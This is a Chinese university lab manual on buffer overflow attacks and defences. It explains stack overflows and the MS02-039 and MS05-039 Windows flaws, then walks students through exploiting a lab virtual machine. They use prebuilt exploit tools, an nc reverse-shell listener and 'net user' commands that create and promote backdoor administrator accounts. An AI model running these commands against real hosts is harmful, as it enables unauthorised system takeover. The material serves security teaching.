缓冲区溢出攻击与防范实验.docx
- 文档编号:12125622
- 上传时间:2023-04-17
- 格式:DOCX
- 页数:19
- 大小:385.90KB
缓冲区溢出攻击与防范实验.docx
《缓冲区溢出攻击与防范实验.docx》由会员分享,可在线阅读,更多相关《缓冲区溢出攻击与防范实验.docx(19页珍藏版)》请在冰豆网上搜索。
缓冲区溢出攻击与防范实验
实验十二缓冲区溢出攻击与防范实验
1.实验目的
通过实验掌握缓冲区溢出的原理;通过使用缓冲区溢出攻击软件模拟入侵远程主机;理解缓冲区溢出危险性;理解防范和避免缓冲区溢出攻击的措施。
2.预备知识
2.1缓冲区溢出攻击简介
缓冲区溢出攻击之所以成为一种常见的攻击手段,其原因在于缓冲区溢出漏洞太普通了,并且易于实现。
而且,缓冲区溢出所以成为远程攻击的主要手段,其原因在于缓冲区溢出漏洞给予了攻击者所想要的一切:
植入并且执行攻击代码。
被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
下面简单介绍缓冲区溢出的基本原理和预防办法。
(1)缓冲区概念
缓冲区是内存中存放数据的地方。
在程序试图将数据放到机器内存中的某一个位置的时候,因为没有足够的空间就会发生缓冲区溢出。
而人为的溢出则是有一定企图的,攻击者写一个超过缓冲区长度的字符串,植入到缓冲区,然后再向一个有限空间的缓冲区中植入超长的字符串,这时可能会出现两个结果:
一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一个结果就是利用这种漏洞可以执行任意指令,甚至可以取得系统root特级权限。
缓冲区是程序运行的时候机器内存中的一个连续块,它保存了给定类型的数据,随着动态分配变量会出现问题。
大多时为了不占用太多的内存,一个有动态分配变量的程序在程序运行时才决定给它们分配多少内存。
如果程序在动态分配缓冲区放入超长的数据,它就会溢出了。
一个缓冲区溢出程序使用这个溢出的数据将汇编语言代码放到机器的内存里,通常是产生root权限的地方。
仅仅单个的缓冲区溢出并不是问题的根本所在。
但如果溢出送到能够以root权限运行命令的区域,一旦运行这些命令,那可就等于把机器拱手相让了。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区是一块用于存放数据的临时内存空间,它的长度事先已经被程序或操作系统定义好。
缓冲区类似于一个杯子,写入的数据类似于倒入的水。
缓冲区溢出就是将长度超过缓冲区大小的数据写入程序的缓冲区,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令。
发生溢出时,如果用一个实际存在的指令地址来覆盖被调用函数的返回地址,则系统就会转而执行这个指令,这一点就是缓冲区溢出被用来进行攻击的最关键之处。
(2)制造缓冲区溢出
一个程序在内存中通常分为程序段、数据段和堆栈三部分。
程序段里放着程序的机器码和只读数据。
数据段放的是程序中的静态数据。
动态数据则通过堆栈来存放。
在内存中,它们的位置由到高依次是:
内存高端;堆栈;数据段;程序段;内存低端。
当程序中发生函数调用时,计算机做如下操作:
首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容作为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,作为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。
2.2缓冲区溢出漏洞攻击方式
缓冲区溢出漏洞可以使任何一个有黑客技术的人取得机器的控制权甚至是最高权限。
一般利用缓冲区溢出漏洞攻击root程序,大都通过执行类似“exec(sh)”的执行代码来获得root的shell。
黑客要达到目的通常要完成两个任务,就是在程序的地址空间里安排适当的代码和通过适当的初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
(1)在程序的地址空间里安排适当的代码
在程序的地址空间里安排适当的代码往往是相对简单的。
如果要攻击的代码在所攻击程序中已经存在了,那么就简单地对代码传递一些参数,然后使程序跳转到目标中就可以完成了。
攻击代码要求执行“exec(‘/bin/sh’)”,而在libc库中的代码执行“exec(arg)”,其中的“arg”是个指向字符串的指针参数,只要把传入的参数指针修改指向“/bin/sh”,然后再跳转到libc库中的响应指令序列就可以了。
当然,很多时候这个可能性是很小的,那么就得用一种叫“植入法”的方式来完成了。
当向目标程序里输入一个字符串时,程序就会把这个字符串放到缓冲区里,这个字符串包含的数据是可以在这个所攻击的目标的硬件平台上运行的指令序列。
缓冲区可以设在:
堆栈(自动变量)、堆(动态分配的)和静态数据区(初始化或者未初始化的数据)等的任何地方。
也可以不必为达到这个目的而溢出任何缓冲区,只要找到足够的空间来放置这些攻击代码就够了。
(2)控制程序转移到攻击代码的形式
缓冲区溢出漏洞攻击都是在寻求改变程序的执行流程,使它跳转到攻击代码,最为基本的就是溢出一个没有检查或者其他漏洞的缓冲区,这样做就会扰乱程序的正常执行次序。
通过溢出某缓冲区,可以改写相近程序的空间而直接跳转过系统对身份的验证。
原则上来讲攻击时所针对的缓冲区溢出的程序空间可为任意空间。
但因不同地方的定位相异,所以也就带出了多种转移方式。
①FunctionPointers(函数指针)
在程序中,“void(*foo)()”声明了个返回值为“void”FunctionPointers的变量“foo”。
FunctionPointers可以用来定位任意地址空间,攻击时只需要在任意空间里的FunctionPointers邻近处找到一个能够溢出的缓冲区,然后用溢出来改变FunctionPointers。
当程序通过FunctionPointers调用函数,程序的流程就会实现。
②ActivationRecords(激活记录)
当一个函数调用发生时,堆栈中会留驻一个ActivationRecords,它包含了函数结束时返回的地址。
执行溢出这些自动变量,使这个返回的地址指向攻击代码,再通过改变程序的返回地址。
当函数调用结束时,程序就会跳转到事先所设定的地址,而不是原来的地址。
这样的溢出方式也是较常见的。
③Longjmpbuffers(长跳转缓冲区)
在C语言中包含了一个简单的检验/恢复系统,称为“setjmp/longjmp”,意思是在检验点设定“setjmp(buffer)”,用longjmp(buffer)“来恢复检验点。
如果攻击时能够进入缓冲区的空间,感觉“longjmp(buffer)”实际上是跳转到攻击的代码。
像FunctionPointers一样,longjmp缓冲区能够指向任何地方,所以找到一个可供溢出的缓冲区是最先应该做的事情。
(3)植入综合代码和流程控制
常见的溢出缓冲区攻击类是在一个字符串里综合了代码植入和ActivationRecords。
攻击时定位在一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出改变ActivationRecords的同时植入代码(权因C在习惯上只为用户和参数开辟很小的缓冲区)。
植入代码和缓冲区溢出不一定要一次性完成,可以在一个缓冲区内放置代码(这个时候并不能溢出缓冲区),然后通过溢出另一个缓冲区来转移程序的指针。
这样的方法一般是用于可供溢出的缓冲区不能放入全部代码时的。
如果想使用已经驻留的代码不需要再外部植入的时候,通常必须先把代码作为参数。
在libc(熟悉C的朋友应该知道,现在几乎所有的C程序连接都是利用它来连接的)中的一部分代码段会执行“exec(something)”,当中的something就是参数,使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。
程序编写的错误造成网络的不安全性也应当受到重视,因为它的不安全性已被缓冲区溢出表现得淋漓尽致了。
2.3缓冲区溢出的保护方法
目前有四种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:
(1)强制写正确的代码的方法
编写正确的代码是一件非常有意义但耗时的工作,特别像编写C语言那种具有容易出错倾向的程序(如:
字符串的零结尾),这种风格是由于追求性能而忽视正确性的传统引起的。
尽管花了很长的时间使得人们知道了如何编写安全的程序,具有安全漏洞的程序依旧出现。
因此人们开发了一些工具和技术来帮助经验不足的程序员编写安全正确的程序。
虽然这些工具帮助程序员开发更安全的程序,但是由于C语言的特点,这些工具不可能找出所有的缓冲区溢出漏洞。
所以,帧错技术只能用来减少缓冲区溢出的可能,并不能完全地消除它的存在。
除非程序员能保证他的程序万无一失,否则还是要用到以下部分的内容来保证程序的可靠性能。
(2)通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码。
这种方法有效地阻止了很多缓冲区溢出的攻击,但是攻击者并不一定要植入攻击代码来实现缓冲区溢出的攻击,所以这种方法还是存在很多弱点的。
(3)利用编译器的边界检查来实现缓冲区的保护
这个方法使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁,但是相对而言代价比较大。
(4)在程序指针失效前进行完整性检查
这样虽然这种方法不能使得所有的缓冲区溢出失效,但它的确阻止了绝大多数的缓冲区溢出攻击,而能够逃脱这种方法保护的缓冲区溢出也很难实现。
最普通的缓冲区溢出形式是攻击活动纪录然后在堆栈中植入代码。
这种类型的攻击在1996年中有很多纪录。
而非执行堆栈和堆栈保护的方法都可以有效防卫这种攻击。
非执行堆栈可以防卫所有把代码殖入堆栈的攻击方法,堆栈保护可以防卫所有改变活动纪录的方法。
这两种方法相互兼容,可以同时防卫多种可能的攻击。
剩下的攻击基本上可以用指针保护的方法来防卫,但是在某些特殊的场合需要用手工来实现指针保护。
全自动的指针保护需要对每个变量加入附加字节,这样使得指针边界检查在某些情况下具有优势。
最为有趣的是,缓冲区溢出漏洞--Morris蠕虫使用了现今所有方法都无法有效防卫的方法,但是由于过于复杂的缘故却很少有人用到。
2.4ms05-039漏洞原理
MS05-039漏洞是MicrosoftWindows即插即用功能远程缓冲区溢出漏洞。
MicrosoftWindows即插即用(PnP)功能允许操作系统在安装新硬件时能够检测到这些设备。
MicrosoftWindows即插即用功能中存在缓冲区溢出漏洞,造成该漏洞的原因是PlugandPlay服务中有未经检查的缓冲区。
成功利用这个漏洞的攻击者可以完全控制受影响的系统。
这是一个严重的安全漏洞,成功的攻击者可以完全控制被攻击的计算机。
这个漏洞既可以用来远程溢出(只适用于目标系统是2000和xpsp1),也可以用来本地提升权限(2000以上版本都可以)。
而且溢出成功后会得到一个SYSTEM权限的shell。
2.5MS02-039漏洞原理
MicrosoftSQLServer2000支持在单个物理主机上伺服多个SQL服务器的实例,每个实例操作需要通过单独的服务,不过多个实例不能全部使用标准SQL服务会话会话端口(TCP1433),所以SQLServerResolution服务操作监听在UDP1434端口,提供一种使客户端查询适当的网络末端用于特殊的SQL服务实例的途径。
当SQLServerResolution服务在UDP1434端口接收到第一个字节设置为0x04的UDP包时,SQL监视线程会获取UDP包中的数据并使用此用户提供的信息来尝试打开注册表中的某一键值,如发送\x04\x41\x41\x41\x41类似的UDP包,SQL服务程序就会打开如下注册表键:
HKLM\Software\Microsoft\MicrosoftSQLServer\AAAA\MSSQLServer\CurrentVersion攻击者可以通过在这个UDP包后追加大量字符串数据,当尝试打开这个字符串相对应的键值时,会发生基于栈的缓冲区溢出,通过包含"jmpesp"或者"callesp"指令的地址覆盖栈中保存的返回地址,可导致以SQLServer进程的权限在系统中执行任意指令。
3.实验环境
3.1运行环境
1)预备知识要求
●了解网络的基本知识;
●熟练使用windows操作系统;
●充分理解第2节“缓冲区溢出攻击原理”。
2)实验环境
本实验需要用到虚拟机,因此每台实验主机都通过安装软件WMwareWorkstation分割出了虚拟机。
真实主机P1的配置为:
操作系统Windows2000ProfessionalSP4或者windowsXPsp2,并且安装ms02-039.exe缓冲区溢出攻击软件和ms05-039.exe缓冲区溢出攻击软件。
虚拟机P2配置为:
操作系统Windows2000ServerSP4(没有另外打补丁,安装了SQLServer2000sp2,存在MSSQL漏洞和ms05039漏洞)。
3)实验网络拓扑图
图4-1实验网络拓扑图
4)请根据实验环境在下表中填写IP地址。
攻防实验服务器IP
P1:
本机IP
P2:
本机虚拟机IP
P3:
表4-1实验IP地址
3.2准备工作
⑴连接服务器,在地址栏中敲入URL:
http:
//P1,进入实验系统主页面选择“溢出实验”。
⑵选择需要下载的实验工具,ms02-039和ms05-039。
⑶在真实机P2上分别下载ms02-039和ms05-039后请解压缩,解压前请关闭杀毒软件的自动防护功能。
⑷解压缩后可以发现工具仍然是一个个的压缩包,这是为了防止溢出程序被杀毒软件删除。
我们需要将完全解压后的ms05039.exe,ms02039.exe和nc.exe一起拷贝到C:
\gongfang的根目录下,如图4-2所示。
图4-2将文件拷贝到C:
\gongfang
⑸启动虚拟主机,具体操作如下:
①双击桌面上的虚拟机图标,如图4-3
图4-3VmwareWorkstation虚拟机快捷方式图标
②双击该图标后虚拟机软件开始运行,出现界面如图4-4所示。
图4-4虚拟机软件运行页面
③点击“OpenExistingVirtualMachine”图标,跳出选择界面如图4-5所示,选择虚拟机操作系统。
选择win2000Pro.vmx,点击“打开”。
进入页面如图4-6所示,可见虚拟机所安装的操作系统信息。
图4-5选择虚拟机操作系统页面
图4-6虚拟机操作系统信息页面
④点击“Startthisvirtualmachine”,启动该虚拟机。
耐心等待虚拟机启动,其启动过程如同真实机的操作系统一样。
登录虚拟机系统的密码为“taigu”。
登录成功进入系统,如图4-7所示。
可通过同时按下“Ctrl+Alt”来切换真实机与虚拟机之间的鼠标定位。
图4-7虚拟机操作系统主页面
⑤获取虚拟主机系统的IP地址,依次操作:
“开始”-“运行”-“敲入cmd”-“在命令行下敲入ipconfig”回车,如图4-8所示,可知本机上虚拟机的IP地址。
图4-8查询虚拟机IP地址
⑹准备工作结束,开始实验。
4.实验内容和步骤
4.1实验任务一:
MS02-039漏洞的利用
本实验要求利用MSSQL溢出工具对远程主机上的Windows系统MSSQL漏洞进行入侵攻击,攻击成功后可以获得系统控制权。
注:
在本实验中,远程主机均指每台学生实验主机上安装的虚拟机。
1)熟悉ms02039.exe命令的使用
这是一个利用远程主机MSSQL漏洞进行溢出攻击的工具,它在命令行下使用,使用格式如下:
ms02039.exe<目标主机IP><溢出后反连IP><反连端口><目标主机mssql类型对应的参数>
其中,MSSQL版本类型及对应参数如下:
SQLServer2000Servicepack00
SQLServer2000Servicepack1、21
2)利用目标虚拟主机上的ms02039漏洞进行入侵
(1)用nc.exe在本地进行监听端口99,如图4-9所示:
图4-9用nc.exe进行监听
(2)使用ms02039.exe并进行溢出攻击,并反连回本机的99端口,。
假定虚拟机IP地址为192.168.3.150(实际实验中以目标虚拟主机的IP地址为准)。
在真实机上的命令行提示下输入ms02039.exe工具的命令,“ms02039.exe192.168.3.150192.168.3.222990”,(这表示对192.168.3.150进行远程溢出,溢出后返回的ip是192.168.3.222(本机ip),返回端口是99,远程主机mssql的类型是2000sp0),如图4-10所示。
图4-10命令行下键入ms02039.exe的命令
然后运行,可见我们的exploit已经发向了目的主机,现在我们查看nc.exe程序有没有反应,结果发现:
远程主机向我们192.168.3.222主机的99端口进行了反连,溢出攻击成功。
结果如图4-11:
图4-11溢出成功后目的主机反连我们的主机
(3)查看远程主机上的用户
在反连得到的shell窗口下输入netuser查看远程主机下有哪些用户。
(4)激活远程主机的guest用户
发现远程主机有guest用户,一般该用户安全设置是关闭的,首先需要把它激活,如图4-12,敲入netuserguest/active:
yes,显示“命令成功完成”,表示远程主机的guest用户已经被激活了。
图4-12命令行下键入netuserguest命令
(5)给guest用户添加密码,如“123”,如图4-13:
图4-13命令行下给用户添加密码“123”
(6)把guest用户添加到administrator组中,这样用户就拥有了很高的权限,如图4-14:
图4-14命令行下给用户添加最高权限
获得最高权限后,请尝试使用ftp命令上传一个文件到目标主机上。
4.2实验任务二:
ms05-039溢出漏洞利用
本实验需要在真实主机上利用ms05039溢出工具对虚拟机上的ms05039漏洞进行溢出攻击,入侵成功可以获得系统的控制权。
1)入侵准备工作
这是一个远程执行代码和本地特权提升漏洞。
在Windows2000上,匿名攻击者可能试图远程利用此漏洞。
在WindowsXPServicePack1上,只有经身份验证的用户可试图远程利用此漏洞。
在WindowXPServicePack2和WindowsServer2003上,只有管理员才能远程访问受影响的组件。
成功利用此漏洞的攻击者可完全控制受影响的系统。
攻击者可随后安装程序,查看、更改或删除数据,或者创建拥有完全用户权限的新帐户。
(1)关闭本机(攻击主机)上的杀毒软件和防火墙软件,确保实验软件能够运行;
(2)运行nc.exe。
在本地进行监听:
nc–vv–l–p99,如图4-15。
图4-15运行nc进行监听
2)对远程主机进ms05-039漏洞进行入侵
实验在命令行下进行,具体操作如下:
(1)运行ms05039scan.exe,如图4-16,设定探测目标192.168.3.150(实验中以实际虚拟机为准)。
图4-16ms05039扫描
(2)点击“
”按钮;
(3)运行结束后查看结果,此例中表明目标主机有该漏洞,可以进行下一步攻击。
3)攻击
(1)在dos下运行ms05039攻击程序ms0539.exe。
ms0539.exe是一个利用远程主机ms05-039漏洞进行溢出的工具,它在命令行下使用,使用格式如下:
ms05039.exe
其中:
host:
目标主机地址
conIP:
回连ip地址,一般就是本地主机ip地址
onPort:
回连端口,如该实验中的“99”
target:
目标系统类型,缺省为1
系统类型有两种:
0:
Englishwin2k(sp4)
1:
Chinesewin2k(sp4)
我们在命令行下输入:
ms05039.exe192.168.3.150192.168.3.163991,(这表示对192.168.3.150进行远程溢出,溢出后返回的ip是192.168.3.163,返回端口是99,远程主机的操作系统类型是Chinesewin2ksp4),如图4-17所示
图4-17执行ms05039攻击
(2)检查我们刚才运行nc的dos窗口,若出现图4-18所示,则表明攻击成功。
此dos窗口中运行的任何命令都是在目标主机上运行,相当于在目标主机本机上开一个dos窗口运行程序一样。
图4-18攻击成功的结果
(3)验证。
运行
netuserhacker/add和netlocalgroupadministratorshacker/add
验证攻击者运行程序的权限,若成功则表明有超级用户权限。
成功后可以在目标主机上验证是否添加了用户,如图4-19。
图4-19在目标主机上添加用户
(1)
图4-19在目标主机上添加用户
(2)
【问题3】:
nc.exe命令还有哪些用途?
4)缓冲区溢出攻击防范
(1)及时给系统打补丁;
(2)尽量关闭Telnet服务;
(3)发现主机的IIS服务突然不工作时,要警惕是否有人对自己的主机进行缓冲区溢出攻击;
(4)一旦发现可疑的连接后,一定要断开与网络的连接;
(5)在防火墙处阻止TCP端口139和445。
5.实验报告要求
写出实验完成过程,查找资料,回答实验任务的相关问题。
6.分析与思考
(1)在实验任务二的基础上,在被入侵的主机上用netstat命令查看是否有远程主机进行了连接,如果有,说明已被入侵,然后用net相关命令关闭guest,再关闭Telnet服务。
(2)深刻理解缓冲区溢出原理,试着用C/C++语言编写简单的程序,模拟缓冲区溢出的过程,将程序和实验结果提交上来。
(3)对利用漏洞成功入侵的目标主机,下载相关补丁修补系统漏洞,然后再进行入侵,观察前后变化。
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 缓冲区 溢出 攻击 防范 实验